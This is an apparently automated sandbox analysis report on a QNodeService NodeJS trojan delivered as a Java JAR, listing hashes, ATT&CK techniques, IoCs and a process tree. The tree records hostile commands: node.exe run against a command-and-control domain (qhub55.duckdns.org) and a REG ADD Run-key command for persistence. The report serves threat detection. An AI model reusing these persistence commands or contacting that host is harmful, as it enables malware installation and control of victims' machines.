qnodeservice | 8eed7755fa12e8f6f674c887065f44495e53181e41bed333ce655c43a40c4e27

General

Target

Quote221020209.jar
Size

73KB
MD5

b8e60538ee077d5af662563754110797
SHA1

3615868cd7d11f8ea86194bd58ab4debafe98432
SHA256

8eed7755fa12e8f6f674c887065f44495e53181e41bed333ce655c43a40c4e27
SHA512

564092ca6491cf57a8d4d071de32f6dd7ff89c432f2a45a633cfb17dd2ab8e8affbb33772f841866301389a677bd11e62eab5339e19b9853a2e4039c18930658

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3552	node.exe
1316	node.exe
3980	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\3044006c-c10a-488f-add0-3eadff765ad3 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adb2-163.dat	js
behavioral2/files/0x000100000001adb2-166.dat	js
behavioral2/files/0x000100000001adb2-170.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	wtfismyip.com
19	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3552	node.exe
3552	node.exe
3552	node.exe
3552	node.exe
1316	node.exe
1316	node.exe
1316	node.exe
1316	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 792 wrote to memory of 2216	792	java.exe	75
PID 792 wrote to memory of 2216	792	java.exe	75
PID 2216 wrote to memory of 3552	2216	javaw.exe	77
PID 2216 wrote to memory of 3552	2216	javaw.exe	77
PID 3552 wrote to memory of 1316	3552	node.exe	79
PID 3552 wrote to memory of 1316	3552	node.exe	79
PID 1316 wrote to memory of 3980	1316	node.exe	80
PID 1316 wrote to memory of 3980	1316	node.exe	80
PID 3980 wrote to memory of 2676	3980	node.exe	82
PID 3980 wrote to memory of 2676	3980	node.exe	82
PID 2676 wrote to memory of 3640	2676	cmd.exe	83
PID 2676 wrote to memory of 3640	2676	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Quote221020209.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:792
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\fcd902e0.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain qhub55.duckdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3552
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_t3cGHd\boot.js --hub-domain qhub55.duckdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1316
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_t3cGHd\boot.js --hub-domain qhub55.duckdns.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3980
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "3044006c-c10a-488f-add0-3eadff765ad3" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2676
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "3044006c-c10a-488f-add0-3eadff765ad3" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1316-167-0x000003047F800000-0x000003047F801000-memory.dmp

Filesize
4KB

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memory/3552-164-0x0000004E053C0000-0x0000004E053C1000-memory.dmp

Filesize
4KB

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memory/3980-171-0x000001ACA75C0000-0x000001ACA75C1000-memory.dmp

Filesize
4KB

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